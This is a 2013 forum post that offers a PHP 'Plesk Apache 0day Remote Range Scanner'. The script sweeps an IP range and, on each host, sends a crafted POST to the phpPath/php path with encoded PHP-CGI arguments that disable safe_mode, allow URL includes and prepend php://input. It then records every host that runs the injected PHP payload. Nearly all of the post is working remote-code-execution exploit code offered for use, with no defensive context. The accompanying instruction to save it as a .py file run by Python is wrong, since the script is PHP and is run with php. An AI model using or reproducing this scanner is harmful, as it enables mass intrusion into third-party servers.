io.kent Posted June 28, 2013 Report Posted June 28, 2013 Rename the document whatever.py.You will need Python installed to use the scanner.<?phperror_reporting(0);set_time_limit(0);ini_set("default_socket_timeout", 5);function http_send($host, $packet,$cmd){ if (($sock = fsockopen($host, 80))){ fputs($sock, $packet); return stream_get_contents($sock); }}print "\n+----------------------------------------------------------------------+";print "\n| Plesk Apache (8.6,9.x) 0day Remote Range Scanner By Black-ID |";print "\n+----------------------------------------------------------------------+\n";if ($argc < 2){ print "\nUsage......: php $argv[0] <Start Ip> <End Ip>\n"; print "\nExample....: php $argv[0] 192.168.1.1 192.168.2.255\n"; die();}$start = ip2long($argv[1]);$end = ip2long($argv[2]);for($ip=$start; $ip<=$end; $ip++){ $host = long2ip($ip); $payload = '<?php echo "Content-Type:text/html\r\n\r\n";echo "___2pac\n"; ?>'; $arguments = "%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E"; $path = "%70%68%70%70%61%74%68/%70%68%70"; $packet = "POST /{$path}?{$arguments} HTTP/1.1\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n\r\n{$payload}"; $response = http_send($host,$packet); if(preg_match('/___2pac/', $response, $m)){ print "[+] $host Infected\n"; $log = fopen("log.txt","a"); fwrite($log,"$host\n"); fclose($log); }else{ print "[-] $host Not Infected\n"; }}?> Quote